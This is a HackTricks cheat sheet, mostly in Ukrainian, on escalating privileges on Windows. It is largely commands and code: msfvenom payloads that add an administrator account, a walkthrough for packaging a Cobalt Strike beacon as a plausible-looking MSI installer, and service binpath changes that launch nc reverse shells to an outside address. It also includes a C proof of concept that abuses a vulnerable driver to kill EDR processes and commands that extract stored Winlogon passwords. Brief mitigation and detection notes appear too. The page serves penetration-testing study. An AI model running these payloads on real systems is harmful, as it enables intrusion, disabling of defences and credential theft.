Windows Local Privilege Escalation

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Найкращий інструмент для пошуку векторів Windows local privilege escalation: WinPEAS

Вступна теорія Windows

Access Tokens

Якщо ви не знаєте, що таке Windows Access Tokens, прочитайте наступну сторінку перед продовженням:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Перегляньте наступну сторінку для отримання додаткової інформації про ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Якщо ви не знаєте, що таке integrity levels у Windows, прочитайте наступну сторінку перед продовженням:

Integrity Levels

Windows Security Controls

Існують різні механізми у Windows, які можуть перешкоджати вам у перерахунку системи, запуску виконуваних файлів або навіть виявити вашу діяльність. Ви повинні прочитати наступну сторінку і перелічити всі ці захисні механізми перед початком переліку для privilege escalation:

Windows Security Controls

System Info

Version info enumeration

Перевірте, чи має версія Windows відомі вразливості (також перевірте застосовані патчі).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Експлойти версій

Цей site зручний для пошуку детальної інформації про вразливості безпеки Microsoft. У цій базі даних понад 4,700 вразливостей безпеки, що демонструє величезну поверхню атаки, яку представляє середовище Windows.

На системі

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas has watson embedded)

Локально з інформацією про систему

Репозиторії Github з експлойтами:

Середовище

Чи збережені які-небудь credential/Juicy info в env variables?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell Історія

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Файли транскриптів PowerShell

Ви можете дізнатися, як увімкнути це за адресою https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Деталі виконань PowerShell pipeline реєструються й охоплюють виконані команди, їх виклики та частини скриптів. Водночас повні відомості про виконання й результати виводу можуть не фіксуватися.

Щоб увімкнути це, дотримуйтеся інструкцій у розділі “Transcript files” документації, обравши “Module Logging” замість “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Щоб переглянути останні 15 подій у логах PowersShell, ви можете виконати:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Фіксується повний запис активності та вміст скрипту під час його виконання, що гарантує документування кожного блоку коду в момент запуску. Це зберігає вичерпний аудиторський слід кожної дії, цінний для судової експертизи та аналізу шкідливої поведінки. Документування всієї активності під час виконання забезпечує детальне уявлення про процес.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Журнали подій для Script Block можна знайти у Windows Event Viewer за шляхом: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Щоб переглянути останні 20 подій, ви можете використати:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Налаштування Інтернету

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Диски

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Ви можете скомпрометувати систему, якщо оновлення запитуються не через httpS, а через http.

Почніть із перевірки, чи використовує мережа non-SSL WSUS update, виконавши наступне в cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Або наступне в PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Якщо ви отримаєте відповідь, наприклад одну з цих:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

І якщо HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer або Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" дорівнює 1.

Тоді, it is exploitable. Якщо останній параметр реєстру дорівнює 0, запис WSUS буде ігноруватися.

Щоб експлуатувати цю вразливість, ви можете використовувати такі інструменти: Wsuxploit, pyWSUS — це MiTM скрипти-експлойти для ін’єкції ‘фейкових’ оновлень у не-SSL WSUS-трафік.

Прочитайте дослідження тут:

WSUS CVE-2020-1013

Read the complete report here.
По суті, це недолік, який використовує цей баг:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

Ви можете експлуатувати цю вразливість за допомогою інструмента WSUSpicious (коли він стане доступним).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Багато корпоративних агентів відкривають IPC-інтерфейс на localhost і привілейований канал оновлення. Якщо реєстрацію можна примусити на сервер атакуючого, а оновлювач довіряє підробленому root CA або має слабку перевірку підписувача, локальний користувач може доставити шкідливий MSI, який служба SYSTEM встановить. Див. узагальнену техніку (на основі ланцюжка Netskope stAgentSvc – CVE-2025-0309) тут:

Abusing Auto Updaters And Ipc

KrbRelayUp

A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Якщо ці 2 параметри реєстру увімкнені (значення 0x1), тоді користувачі будь-якого рівня привілеїв можуть встановлювати (виконувати) *.msi файли як NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Якщо у вас є сеанс meterpreter, ви можете автоматизувати цю техніку, використовуючи модуль exploit/windows/local/always_install_elevated

PowerUP

Використайте команду Write-UserAddMSI з power-up, щоб створити в поточній директорії Windows MSI бінарний файл для ескалації привілеїв. Цей скрипт записує попередньо скомпільований MSI-інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ до GUI):

Write-UserAddMSI

Просто запустіть створений binary, щоб escalate privileges.

MSI Wrapper

Прочитайте цей підручник, щоб дізнатися, як створити MSI wrapper за допомогою цих інструментів. Зверніть увагу, що ви можете wrap файл “.bat”, якщо ви just хочете execute command lines

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Згенеруйте за допомогою Cobalt Strike або Metasploit новий Windows EXE TCP payload у C:\privesc\beacon.exe
  • Відкрийте Visual Studio, оберіть Create a new project і введіть “installer” у поле пошуку. Виберіть проект Setup Wizard і натисніть Next.
  • Дайте проекту назву, наприклад AlwaysPrivesc, використайте C:\privesc як розташування, позначте place solution and project in the same directory, і натисніть Create.
  • Натискайте Next доти, доки не дійдете до кроку 3 з 4 (choose files to include). Натисніть Add і додайте Beacon payload, який щойно згенерували. Потім натисніть Finish.
  • Виділіть проект AlwaysPrivesc у Solution Explorer і в Properties змініть TargetPlatform з x86 на x64.
  • Є й інші властивості, які можна змінити, наприклад Author та Manufacturer, щоб встановлений додаток виглядав більш правдоподібно.
  • Клацніть правою кнопкою миші на проекті та виберіть View > Custom Actions.
  • Клацніть правою кнопкою на Install і виберіть Add Custom Action.
  • Двічі клацніть Application Folder, виберіть ваш файл beacon.exe і натисніть OK. Це забезпечить виконання beacon payload одразу після запуску інсталятора.
  • В Custom Action Properties змініть Run64Bit на True.
  • Нарешті, build it.
  • Якщо з’явиться попередження File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', переконайтеся, що платформа встановлена на x64.

MSI Installation

Щоб запустити installation зловмисного .msi файлу у background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Щоб експлуатувати цю вразливість, ви можете використати: exploit/windows/local/always_install_elevated

Антивірус і детектори

Налаштування аудиту

Ці налаштування визначають, що реєструється, тому слід звернути на них увагу.

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding — цікаво знати, куди надсилаються logs

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS призначений для management of local Administrator passwords, гарантуючи, що кожен пароль є унікальним, випадковим і регулярно оновлюється на комп’ютерах, приєднаних до домену. Ці паролі надійно зберігаються в Active Directory і доступні лише користувачам, яким через ACLs надано достатні права, що дозволяє їм переглядати local admin passwords, якщо це дозволено.

LAPS

WDigest

Якщо активний, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

Захист LSA

Починаючи з Windows 8.1, Microsoft запровадила посилений захист для Local Security Authority (LSA), щоб блокувати спроби ненадійних процесів зчитувати її пам’ять або впроваджувати код, додатково захищаючи систему.
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard був представлений у Windows 10. Його мета — захищати credentials, що зберігаються на пристрої, від загроз, таких як атаки pass-the-hash.| Детальніше про Credential Guard тут.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials аутентифікуються Local Security Authority (LSA) і використовуються компонентами операційної системи. Коли дані входу користувача аутентифікуються зареєстрованим security package, domain credentials для користувача зазвичай встановлюються.
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Користувачі та групи

Перелічення користувачів та груп

Варто перевірити, чи мають групи, до яких ви належите, які-небудь цікаві дозволи.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Привілейовані групи

Якщо ви належите до якоїсь привілейованої групи, ви можете підвищити свої привілеї. Дізнайтесь про привілейовані групи та способи їхнього зловживання для підвищення привілеїв тут:

Privileged Groups

Token manipulation

Дізнайтеся більше про те, що таке token на цій сторінці: Windows Tokens.
Перегляньте наступну сторінку, щоб дізнатися про цікаві tokens та як ними зловживати:

Abusing Tokens

Увійшлі користувачі / сесії

qwinsta
klist sessions

Домашні папки

dir C:\Users
Get-ChildItem C:\Users

Політика паролів

net accounts

Отримати вміст буфера обміну

powershell -command "Get-Clipboard"

Запущені процеси

Права доступу до файлів і папок

Почніть з переліку процесів — перевірте наявність паролів у командному рядку процесу.
Перевірте, чи можете ви перезаписати якийсь запущений бінарний файл або чи маєте права запису у папку бінарних файлів, щоб експлуатувати можливі DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Завжди перевіряйте наявність можливих electron/cef/chromium debuggers що запущені — їх можна використати для підвищення привілеїв.

Перевірка прав доступу до бінарних файлів процесів

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Перевірка дозволів папок бінарних файлів процесів (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Ви можете створити memory dump запущеного процесу, використовуючи procdump з sysinternals. Сервіси на кшталт FTP містять credentials in clear text in memory — спробуйте зробити дамп пам’яті і прочитати ці credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Небезпечні GUI-додатки

Застосунки, що виконуються від імені SYSTEM, можуть дозволити користувачу запустити CMD або переглядати каталоги.

Наприклад: “Windows Help and Support” (Windows + F1), пошукайте “command prompt”, клацніть “Click to open Command Prompt”

Служби

Service Triggers дозволяють Windows запускати службу, коли відбуваються певні умови (активність named pipe/RPC endpoint, ETW events, доступність IP, підключення пристрою, GPO refresh тощо). Навіть без прав SERVICE_START ви часто можете запустити привілейовані служби, активувавши їхні тригери. Див. методи перелічення та активації тут:

Service Triggers

Отримати список служб:

net start
wmic service list brief
sc query
Get-Service

Дозволи

Ви можете використовувати sc для отримання інформації про службу.

sc qc <service_name>

Рекомендується мати бінарний файл accesschk від Sysinternals для перевірки required privilege level для кожної служби.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Рекомендується перевірити, чи можуть “Authenticated Users” змінювати будь-яку службу:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Увімкнення служби

Якщо ви отримуєте цю помилку (наприклад для SSDPSRV):

Сталася системна помилка 1058.
Службу не можна запустити, або тому що вона відключена або тому що з нею не пов’язані жодні увімкнені пристрої.

Ви можете ввімкнути її за допомогою

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Врахуйте, що служба upnphost залежить від SSDPSRV для роботи (для XP SP1)

Інший обхідний спосіб цієї проблеми — запустити:

sc.exe config usosvc start= auto

Змінити шлях бінарного файлу сервісу

У випадку, коли група “Authenticated users” має SERVICE_ALL_ACCESS для служби, можлива модифікація виконуваного бінарного файлу служби. Щоб змінити та запустити sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Перезапустити службу

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Привілеї можна підвищити через різні дозволи:

  • SERVICE_CHANGE_CONFIG: Дозволяє переконфігурування виконуваного файлу служби.
  • WRITE_DAC: Дозволяє змінювати дозволи, що веде до можливості змінювати конфігурації служби.
  • WRITE_OWNER: Дозволяє отримати власність і змінювати дозволи.
  • GENERIC_WRITE: Наслідує можливість змінювати конфігурації служби.
  • GENERIC_ALL: Також наслідує можливість змінювати конфігурації служби.

Для виявлення та експлуатації цієї вразливості можна використати exploit/windows/local/service_permissions.

Слабкі дозволи виконуваних файлів служб

Перевірте, чи можете змінити виконуваний файл, який запускає служба або чи маєте ви права на запис у папку, де знаходиться виконуваний файл (DLL Hijacking).
Ви можете отримати список усіх виконуваних файлів, які запускає служба, використовуючи wmic (не в system32) і перевірити свої дозволи за допомогою icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Ви також можете використовувати sc та icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Дозволи на зміну Services registry

Вам слід перевірити, чи можете ви змінювати будь-який service registry.
Ви можете перевірити свої permissions щодо service registry, виконавши:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Слід перевірити, чи Authenticated Users або NT AUTHORITY\INTERACTIVE мають права FullControl. Якщо так, binary, який виконується сервісом, можна змінити.

Щоб змінити Path виконуваного binary:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Реєстр служб — дозволи AppendData/AddSubdirectory

If you have this permission over a registry this means to you can create sub registries from this one. In case of Windows services this is enough to execute arbitrary code:

AppendData/AddSubdirectory permission over service registry

Шляхи служб без лапок

If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.

For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Перелічте всі unquoted шляхи служб, за винятком тих, що належать вбудованим службам Windows:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Ви можете виявити та експлуатувати цю вразливість за допомогою metasploit: exploit/windows/local/trusted\_service\_path Ви можете вручну створити бінарний файл служби за допомогою metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Дії відновлення

Windows дозволяє користувачам вказувати дії, які повинні виконуватися у випадку відмови служби. Цю функцію можна налаштувати так, щоб вона вказувала на binary. Якщо цей binary можна замінити, можливий privilege escalation. Детальніше в офіційній документації.

Додатки

Встановлені додатки

Перевірте права доступу до binaries (можливо, ви зможете перезаписати один з них і отримати privilege escalation) та до папок (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Права запису

Перевірте, чи можете ви змінити якийсь config file, щоб прочитати якийсь спеціальний файл, або чи можете змінити якийсь binary, який буде виконуватися під Administrator account (schedtasks).

Один зі способів знайти слабкі folder/files permissions у системі — це зробити:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Запуск при старті

Перевірте, чи можете перезаписати деякі registry або binary, які будуть виконані іншим користувачем.
Прочитайте наступну сторінку, щоб дізнатися більше про цікаві autoruns locations to escalate privileges:

Privilege Escalation with Autoruns

Драйвери

Шукайте можливі third party weird/vulnerable drivers

driverquery
driverquery.exe /fo table
driverquery /SI

Якщо драйвер надає arbitrary kernel read/write primitive (поширене у погано спроєктованих IOCTL handlers), ви можете ескалювати привілеї, викравши SYSTEM token безпосередньо з kernel memory. Див. покрокову техніку тут:

Arbitrary Kernel Rw Token Theft

Зловживання відсутністю FILE_DEVICE_SECURE_OPEN на об’єктах пристрою (LPE + EDR kill)

Деякі підписані драйвери третіх сторін створюють свій об’єкт пристрою з сильною SDDL через IoCreateDeviceSecure, але забувають встановити FILE_DEVICE_SECURE_OPEN у DeviceCharacteristics. Без цього прапора secure DACL не застосовується, коли пристрій відкривають через шлях, що містить додатковий компонент, що дозволяє будь-якому непривілейованому користувачу отримати handle, використовуючи namespace path на кшталт:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

Як тільки користувач може відкрити пристрій, привілейовані IOCTLs, які експонує драйвер, можуть бути зловживані для LPE та tampering. Приклади можливостей, зафіксованих у реальному житті:

  • Повернення handles з повним доступом до довільних процесів (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Необмежений raw disk read/write (офлайн підтасування, трюки для стійкості під час завантаження).
  • Завершення довільних процесів, включно з Protected Process/Light (PP/PPL), що дозволяє AV/EDR kill з user land через kernel.

Мінімальний PoC шаблон (режим користувача):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Заходи пом’якшення для розробників

  • Завжди встановлюйте FILE_DEVICE_SECURE_OPEN під час створення об’єктів пристрою, які мають бути обмежені DACL.
  • Перевіряйте контекст викликача для привілейованих операцій. Додавайте PP/PPL перевірки перед дозволом на завершення процесу або повернення дескрипторів.
  • Обмежуйте IOCTLs (access masks, METHOD_*, валідація введення) і розглядайте використання brokered models замість прямого доступу до привілеїв ядра.

Ідеї для виявлення для захисників

  • Моніторте відкриття в user-mode підозрілих імен пристроїв (e.g., \ .\amsdk*) та конкретних послідовностей IOCTL, що вказують на зловживання.
  • Застосовуйте блоклист вразливих драйверів Microsoft (HVCI/WDAC/Smart App Control) та підтримуйте власні списки дозволених/заборонених.

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Check permissions of all folders inside PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Для отримання додаткової інформації про те, як зловживати цією перевіркою:

Writable Sys Path +Dll Hijacking Privesc

Мережа

Спільні ресурси

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Перевірте наявність інших відомих комп’ютерів, жорстко прописаних у hosts file

type C:\Windows\System32\drivers\etc\hosts

Мережеві інтерфейси та DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Відкриті порти

Перевірте наявність обмежених служб ззовні

netstat -ano #Opened ports?

Маршрутна таблиця

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP таблиця

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Rules

Перегляньте цю сторінку для команд, пов’язаних з Firewall (перегляд правил, створення правил, вимкнення, вимкнення…)

Більше команд для network enumeration тут

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Бінарний файл bash.exe також можна знайти в C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Якщо ви отримаєте root user, ви можете прослуховувати будь-який порт (першого разу, коли ви використовуєте nc.exe для прослуховування порту, він через GUI запитає, чи слід дозволити nc через firewall).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Щоб легко запустити bash як root, можна спробувати --default-user root

Ви можете дослідити WSL файлову систему у папці C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Облікові дані Windows

Облікові дані Winlogon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Диспетчер облікових даних / Windows vault

